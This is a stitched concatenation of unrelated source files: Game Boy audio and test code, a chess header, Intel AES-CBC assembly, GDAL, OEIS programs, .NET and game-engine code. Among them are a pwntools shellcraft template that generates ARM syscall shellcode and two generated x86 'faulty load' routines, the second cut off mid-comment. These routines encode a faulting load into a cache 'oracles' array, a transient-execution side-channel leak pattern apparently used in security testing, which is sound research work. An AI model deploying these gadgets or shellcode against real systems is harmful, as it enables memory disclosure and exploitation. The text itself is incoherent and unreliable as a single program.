unknownsfx0x20 8, 209, 216, 7
endchannel
SFX_Cry14_3_Ch2:
dutycycle 165
unknownsfx0x20 10, 196, 113, 7
unknownsfx0x20 15, 182, 162, 7
unknownsfx0x20 8, 161, 183, 7
endchannel
SFX_Cry14_3_Ch3:
unknownnoise0x20 8, 228, 76
unknownnoise0x20 14, 196, 60
unknownnoise0x20 8, 209, 44
endchannel
|
#ifndef DRK_ENGINE_EVAL_HPP
#define DRK_ENGINE_EVAL_HPP
#include "Core.hpp"
#include "Chess/ChessPrimitives.hpp"
#include <vector>
namespace Drk::Eval
{
// Parameters for configuring Eval (Eval accepts in constructor)
struct EvalParams
{
const int LEVEL;
EvalParams(int level)
: LEVEL(level)
{ }
};
// Variables for Eval to track game state
struct EvalWeights
{
double bishop;
double rook;
void set_opening(void);
void set_middlegame(void);
void set_endgame(void);
};
// Contains a move and its eval rating
struct EvalMove
{
Chess::Move move;
int eval;
EvalMove(const Chess::Move& move, int eval)
: move(move), eval(eval)
{ }
};
// The results of an evaluation
struct EvalResults
{
std::vector<EvalMove> moves;
};
}
#endif // DRK_ENGINE_EVAL_HPP
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; routine to do AES256 CBC decrypt
%include "reg_sizes.asm"
%ifidn __OUTPUT_FORMAT__, elf64
%define IN rdi
%define IV rsi
%define KEYS rdx
%define OUT rcx
%define LEN r8
%define func(x) x:
%define FUNC_SAVE
%define FUNC_RESTORE
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define IN rcx
%define IV rdx
%define KEYS r8
%define OUT r9
%define LEN r10
%define PS 8
%define stack_size 10*16 + 1*8 ; must be an odd multiple of 8
%define arg(x) [rsp + stack_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
alloc_stack stack_size
save_xmm128 xmm6, 0*16
save_xmm128 xmm7, 1*16
save_xmm128 xmm8, 2*16
save_xmm128 xmm9, 3*16
save_xmm128 xmm10, 4*16
save_xmm128 xmm11, 5*16
save_xmm128 xmm12, 6*16
save_xmm128 xmm13, 7*16
save_xmm128 xmm14, 8*16
save_xmm128 xmm15, 9*16
end_prolog
mov LEN, arg(4)
%endmacro
%macro FUNC_RESTORE 0
movdqa xmm6, [rsp + 0*16]
movdqa xmm7, [rsp + 1*16]
movdqa xmm8, [rsp + 2*16]
movdqa xmm9, [rsp + 3*16]
movdqa xmm10, [rsp + 4*16]
movdqa xmm11, [rsp + 5*16]
movdqa xmm12, [rsp + 6*16]
movdqa xmm13, [rsp + 7*16]
movdqa xmm14, [rsp + 8*16]
movdqa xmm15, [rsp + 9*16]
add rsp, stack_size
%endmacro
%endif
; configuration paramaters for AES-CBC
%define KEY_ROUNDS 15
%define XMM_USAGE (16)
%define EARLY_BLOCKS (4)
%define PARALLEL_BLOCKS (11)
%define IV_CNT (1)
; instruction set specific operation definitions
%define MOVDQ vmovdqu
%macro PXOR 2
vpxor %1, %1, %2
%endm
%macro AES_DEC 2
vaesdec %1, %1, %2
%endm
%macro AES_DEC_LAST 2
vaesdeclast %1, %1, %2
%endm
%include "cbc_common.asm"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; aes_cbc_dec_256_avx(void *in, void *IV, void *keys, void *out, UINT64 num_bytes)
mk_global aes_cbc_dec_256_avx, function
func(aes_cbc_dec_256_avx)
endbranch
FUNC_SAVE
FILL_KEY_CACHE CKEY_CNT, FIRST_CKEY, KEYS, MOVDQ
MOVDQ reg(IV_IDX), [IV] ; Load IV for next round of block decrypt
mov IDX, 0
cmp LEN, PARALLEL_BLOCKS*16
jge main_loop ; if enough data blocks remain enter main_loop
jmp partials
main_loop:
CBC_DECRYPT_BLOCKS KEY_ROUNDS, PARALLEL_BLOCKS, EARLY_BLOCKS, MOVDQ, PXOR, AES_DEC, AES_DEC_LAST, CKEY_CNT, TMP, TMP_CNT, FIRST_CKEY, KEYS, FIRST_XDATA, IN, OUT, IDX, LEN
cmp LEN, PARALLEL_BLOCKS*16
jge main_loop ; enough blocks to do another full parallel set
jz done
partials: ; fewer than 'PARALLEL_BLOCKS' left do in groups of 4, 2 or 1
cmp LEN, 0
je done
cmp LEN, 4*16
jge initial_4
cmp LEN, 2*16
jge initial_2
initial_1:
CBC_DECRYPT_BLOCKS KEY_ROUNDS, 1, EARLY_BLOCKS, MOVDQ, PXOR, AES_DEC, AES_DEC_LAST, CKEY_CNT, TMP, TMP_CNT, FIRST_CKEY, KEYS, FIRST_XDATA, IN, OUT, IDX, LEN
jmp done
initial_2:
CBC_DECRYPT_BLOCKS KEY_ROUNDS, 2, EARLY_BLOCKS, MOVDQ, PXOR, AES_DEC, AES_DEC_LAST, CKEY_CNT, TMP, TMP_CNT, FIRST_CKEY, KEYS, FIRST_XDATA, IN, OUT, IDX, LEN
jz done
jmp partials
initial_4:
CBC_DECRYPT_BLOCKS KEY_ROUNDS, 4, EARLY_BLOCKS, MOVDQ, PXOR, AES_DEC, AES_DEC_LAST, CKEY_CNT, TMP, TMP_CNT, FIRST_CKEY, KEYS, FIRST_XDATA, IN, OUT, IDX, LEN
jnz partials
done:
FUNC_RESTORE
ret
endproc_frame
|
/******************************************************************************
* $Id: ogrgmtdatasource.cpp 10645 2007-01-18 02:22:39Z warmerdam $
*
* Project: OpenGIS Simple Features Reference Implementation
* Purpose: Implements OGRGmtDataSource class.
* Author: Frank Warmerdam, warmerdam@pobox.com
*
******************************************************************************
* Copyright (c) 2007, Frank Warmerdam <warmerdam@pobox.com>
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
****************************************************************************/
#include "ogr_gmt.h"
#include "cpl_conv.h"
#include "cpl_string.h"
CPL_CVSID("$Id: ogrgmtdatasource.cpp 10645 2007-01-18 02:22:39Z warmerdam $");
/************************************************************************/
/* OGRGmtDataSource() */
/************************************************************************/
OGRGmtDataSource::OGRGmtDataSource()
{
pszName = NULL;
papoLayers = NULL;
nLayers = 0;
bUpdate = FALSE;
}
/************************************************************************/
/* ~OGRGmtDataSource() */
/************************************************************************/
OGRGmtDataSource::~OGRGmtDataSource()
{
CPLFree( pszName );
for( int i = 0; i < nLayers; i++ )
delete papoLayers[i];
CPLFree( papoLayers );
}
/************************************************************************/
/* Open() */
/************************************************************************/
int OGRGmtDataSource::Open( const char *pszFilename, int bUpdate )
{
this->bUpdate = bUpdate;
OGRGmtLayer *poLayer = new OGRGmtLayer( pszFilename, bUpdate );
if( !poLayer->bValidFile )
{
delete poLayer;
return FALSE;
}
nLayers = 1;
papoLayers = (OGRGmtLayer **) CPLMalloc(sizeof(void*));
papoLayers[0] = poLayer;
CPLFree (pszName);
pszName = CPLStrdup( pszFilename );
return TRUE;
}
/************************************************************************/
/* Create() */
/* */
/* Create a new datasource. This doesn't really do anything */
/* currently but save the name. */
/************************************************************************/
int OGRGmtDataSource::Create( const char *pszDSName, char **papszOptions )
{
(void) papszOptions;
pszName = CPLStrdup( pszDSName );
return TRUE;
}
/************************************************************************/
/* ICreateLayer() */
/************************************************************************/
OGRLayer *
OGRGmtDataSource::ICreateLayer( const char * pszLayerName,
OGRSpatialReference *poSRS,
OGRwkbGeometryType eType,
CPL_UNUSED char ** papszOptions )
{
/* -------------------------------------------------------------------- */
/* Establish the geometry type. Note this logic */
/* -------------------------------------------------------------------- */
const char *pszGeom;
switch( wkbFlatten(eType) )
{
case wkbPoint:
pszGeom = " @GPOINT";
break;
case wkbLineString:
pszGeom = " @GLINESTRING";
break;
case wkbPolygon:
pszGeom = " @GPOLYGON";
break;
case wkbMultiPoint:
pszGeom = " @GMULTIPOINT";
break;
case wkbMultiLineString:
pszGeom = " @GMULTILINESTRING";
break;
case wkbMultiPolygon:
pszGeom = " @GMULTIPOLYGON";
break;
default:
pszGeom = "";
break;
}
/* -------------------------------------------------------------------- */
/* If this is the first layer for this datasource, and if the */
/* datasource name ends in .gmt we will override the provided */
/* layer name with the name from the gmt. */
/* -------------------------------------------------------------------- */
CPLString osPath = CPLGetPath( pszName );
CPLString osFilename;
if( EQUAL(CPLGetExtension(pszName),"gmt") )
osFilename = pszName;
else
osFilename = CPLFormFilename( osPath, pszLayerName, "gmt" );
/* -------------------------------------------------------------------- */
/* Open the file. */
/* -------------------------------------------------------------------- */
VSILFILE *fp = VSIFOpenL( osFilename, "w" );
if( fp == NULL )
{
CPLError( CE_Failure, CPLE_OpenFailed,
"open(%s) failed: %s",
osFilename.c_str(), VSIStrerror(errno) );
return NULL;
}
/* -------------------------------------------------------------------- */
/* Write out header. */
/* -------------------------------------------------------------------- */
VSIFPrintfL( fp, "# @VGMT1.0%s\n", pszGeom );
VSIFPrintfL( fp, "# REGION_STUB \n" );
/* -------------------------------------------------------------------- */
/* Write the projection, if possible. */
/* -------------------------------------------------------------------- */
if( poSRS != NULL )
{
char *pszValue = NULL;
if( poSRS->IsProjected()
&& poSRS->GetAuthorityName("PROJCS")
&& EQUAL(poSRS->GetAuthorityName("PROJCS"),"EPSG") )
{
VSIFPrintfL( fp, "# @Je%s\n",
poSRS->GetAuthorityCode("PROJCS") );
}
else if( poSRS->IsGeographic()
&& poSRS->GetAuthorityName("GEOGCS")
&& EQUAL(poSRS->GetAuthorityName("GEOGCS"),"EPSG") )
{
VSIFPrintfL( fp, "# @Je%s\n",
poSRS->GetAuthorityCode("GEOGCS") );
}
if( poSRS->exportToProj4( &pszValue ) == OGRERR_NONE )
{
VSIFPrintfL( fp, "# @Jp\"%s\"\n", pszValue );
CPLFree( pszValue );
pszValue = NULL;
}
if( poSRS->exportToWkt( &pszValue ) == OGRERR_NONE )
{
char *pszEscapedWkt = CPLEscapeString( pszValue, -1,
CPLES_BackslashQuotable );
VSIFPrintfL( fp, "# @Jw\"%s\"\n", pszEscapedWkt );
CPLFree( pszValue );
CPLFree( pszEscapedWkt );
pszValue = NULL;
}
}
/* -------------------------------------------------------------------- */
/* Finish header and close. */
/* -------------------------------------------------------------------- */
VSIFCloseL( fp );
/* -------------------------------------------------------------------- */
/* Return open layer handle. */
/* -------------------------------------------------------------------- */
if( Open( osFilename, TRUE ) )
return papoLayers[nLayers-1];
else
return NULL;
}
/************************************************************************/
/* TestCapability() */
/************************************************************************/
int OGRGmtDataSource::TestCapability( const char * pszCap )
{
if( EQUAL(pszCap,ODsCCreateLayer) )
return TRUE;
else
return FALSE;
}
/************************************************************************/
/* GetLayer() */
/************************************************************************/
OGRLayer *OGRGmtDataSource::GetLayer( int iLayer )
{
if( iLayer < 0 || iLayer >= nLayers )
return NULL;
else
return papoLayers[iLayer];
}
|
<%
from pwnlib.shellcraft import thumb, pretty
from pwnlib.constants import Constant
from pwnlib.abi import freebsd_arm_syscall as abi
from six import text_type
%>
<%page args="syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None"/>
<%docstring>
Args: [syscall_number, \*args]
Does a syscall
Any of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.
Example:
>>> print(shellcraft.thumb.freebsd.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3
mov r7, #0xb
svc 0x41
>>> print(shellcraft.thumb.freebsd.syscall('SYS_exit', 0).rstrip())
/* call exit(0) */
eor r0, r0
mov r7, #SYS_exit /* 1 */
svc 0x41
</%docstring>
<%
if isinstance(syscall, (str, text_type, Constant)) and str(syscall).startswith('SYS_'):
syscall_repr = str(syscall)[4:] + "(%s)"
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
args.append('?')
else:
args.append(pretty(arg, False))
while args and args[-1] == '?':
args.pop()
syscall_repr = syscall_repr % ', '.join(args)
registers = abi.register_arguments
arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]
arguments = iter(filter(lambda arg: arg is not None, arguments))
regctx = dict(zip(registers, arguments))
stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order
%>\
/* call ${syscall_repr} */
${thumb.setregs(regctx)}
%for arg in stack_args:
${thumb.push(arg)}
%endfor
svc 0x41
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x68c7, %rbx
nop
nop
xor %r11, %r11
movb (%rbx), %r8b
nop
cmp $9951, %r8
lea addresses_normal_ht+0x549b, %rsi
lea addresses_UC_ht+0x8e9b, %rdi
nop
nop
nop
nop
nop
xor $35321, %rax
mov $19, %rcx
rep movsq
nop
nop
sub %rcx, %rcx
lea addresses_WC_ht+0x12b3b, %r11
nop
nop
and %rsi, %rsi
movw $0x6162, (%r11)
nop
nop
nop
and $24063, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rax
push %rbx
push %rdi
// Faulty Load
lea addresses_PSE+0xca9b, %rbx
inc %rax
movb (%rbx), %r8b
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A053987: Numerators of successive convergents to tan(1/2) using continued fraction 1/(2-1/(6-1/(10-1/(14-1/(18-1/(22-1/(26-1/30-...))))))).
; Submitted by Jon Maiga
; 1,6,59,820,14701,322602,8372951,250865928,8521068601,323549740910,13580568049619,624382580541564,31205548459028581,1684475234207001810,97668358035547076399,6053753722969711734928,399450077357965427428849,27955451661334610208284502,2068303972861403189985624299,161299754431528114208670410820,13224511559412443961920988062941,1137146694355038652610996303002106,102329977980394066291027746282126599,9617880783462687192703997154216898200,942449986801362950818700693366973897001
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $2,$3
add $1,$2
mov $4,$3
cmp $4,0
add $3,$4
div $2,$3
add $2,$1
sub $3,4
lpe
mov $0,$2
|
; A160941: a(n)= n - digital sum(n-1)
; 1,1,1,1,1,1,1,1,1,1,10,10,10,10,10,10,10,10,10,10,19,19,19,19,19,19,19,19,19,19,28,28,28,28,28,28,28,28,28,28,37,37,37,37,37,37,37,37,37,37,46,46,46,46,46,46,46,46,46,46,55,55,55,55,55,55,55,55,55,55,64,64,64
div $0,10
mul $0,9
add $0,1
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld hl, fea0
lbegin_fill_oam:
dec l
ld(hl), a
jrnz lbegin_fill_oam
ld hl, fe08
ld d, 10
ld a, d
ld(hl), a
inc l
ld a, 08
ld(hl), a
ld a, 97
ldff(40), a
call lwaitly_b
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 97
ldff(45), a
ld c, 41
.text@1000
lstatint:
nop
.text@14da
ld a, 93
ldff(40), a
.text@151a
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; ==++==
;
;
; ==--==
;
; *** NOTE: If you make changes to this file, propagate the changes to
; gmsasm.s in this directory
.586
.model flat
include asmconstants.inc
option casemap:none
.code
; int __fastcall LazyMachStateCaptureState(struct LazyMachState *pState);
@LazyMachStateCaptureState@4 proc public
mov [ecx+MachState__pRetAddr], 0 ; marks that this is not yet valid
mov [ecx+MachState__edi], edi ; remember register values
mov [ecx+MachState__esi], esi
mov [ecx+MachState__ebx], ebx
mov [ecx+LazyMachState_captureEbp], ebp
mov [ecx+LazyMachState_captureEsp], esp
mov eax, [esp] ; capture return address
mov [ecx+LazyMachState_captureEip], eax
xor eax, eax
retn
@LazyMachStateCaptureState@4 endp
end
|
#include "core.h"
#include "wbactionuisetwidgetimage.h"
#include "configmanager.h"
#include "wbeventmanager.h"
WBActionUISetWidgetImage::WBActionUISetWidgetImage()
: m_ScreenName()
, m_WidgetName()
, m_Image()
, m_ImagePE()
{
}
WBActionUISetWidgetImage::~WBActionUISetWidgetImage()
{
}
/*virtual*/ void WBActionUISetWidgetImage::InitializeFromDefinition( const SimpleString& DefinitionName )
{
WBAction::InitializeFromDefinition( DefinitionName );
MAKEHASH( DefinitionName );
STATICHASH( Screen );
m_ScreenName = ConfigManager::GetHash( sScreen, HashedString::NullString, sDefinitionName );
STATICHASH( Widget );
m_WidgetName = ConfigManager::GetHash( sWidget, HashedString::NullString, sDefinitionName );
STATICHASH( Image );
m_Image = ConfigManager::GetHash( sImage, HashedString::NullString, sDefinitionName );
STATICHASH( ImagePE );
const SimpleString ImagePEDef = ConfigManager::GetString( sImagePE, "", sDefinitionName );
m_ImagePE.InitializeFromDefinition( ImagePEDef );
}
/*virtual*/ void WBActionUISetWidgetImage::Execute()
{
WBParamEvaluator::SPEContext PEContext;
PEContext.m_Entity = GetEntity();
m_ImagePE.Evaluate( PEContext );
const HashedString Image = ( m_ImagePE.GetType() == WBParamEvaluator::EPT_String ) ? m_ImagePE.GetString() : m_Image;
WB_MAKE_EVENT( SetWidgetImage, NULL );
WB_SET_AUTO( SetWidgetImage, Hash, Screen, m_ScreenName );
WB_SET_AUTO( SetWidgetImage, Hash, Widget, m_WidgetName );
WB_SET_AUTO( SetWidgetImage, Hash, Image, Image );
WB_DISPATCH_EVENT( WBWorld::GetInstance()->GetEventManager(), SetWidgetImage, NULL );
} |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x9191, %rbp
inc %rax
movl $0x61626364, (%rbp)
add %rcx, %rcx
lea addresses_UC_ht+0x12df1, %r14
nop
nop
nop
nop
sub %r12, %r12
movw $0x6162, (%r14)
nop
nop
nop
nop
and $41964, %r9
lea addresses_WT_ht+0x9a44, %rcx
nop
inc %rdi
mov (%rcx), %r14
nop
nop
nop
nop
cmp $62463, %rdi
lea addresses_WT_ht+0x8311, %rsi
lea addresses_WT_ht+0x1ab31, %rdi
nop
nop
sub %r9, %r9
mov $102, %rcx
rep movsq
xor %rbp, %rbp
lea addresses_normal_ht+0x3fc, %rbp
nop
nop
nop
cmp %rsi, %rsi
movb $0x61, (%rbp)
nop
and %r9, %r9
lea addresses_WC_ht+0x2169, %rsi
nop
nop
and %r9, %r9
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_D_ht+0x1b079, %r14
nop
nop
nop
nop
dec %rcx
mov $0x6162636465666768, %rbp
movq %rbp, (%r14)
nop
nop
nop
nop
cmp $41143, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rdx
push %rsi
// Store
lea addresses_A+0x1ced1, %r11
nop
dec %r12
mov $0x5152535455565758, %rsi
movq %rsi, %xmm7
movups %xmm7, (%r11)
nop
nop
nop
nop
nop
cmp $55763, %r12
// Faulty Load
lea addresses_normal+0x1a2d1, %r14
nop
nop
nop
nop
inc %r15
mov (%r14), %r12
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rdx
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
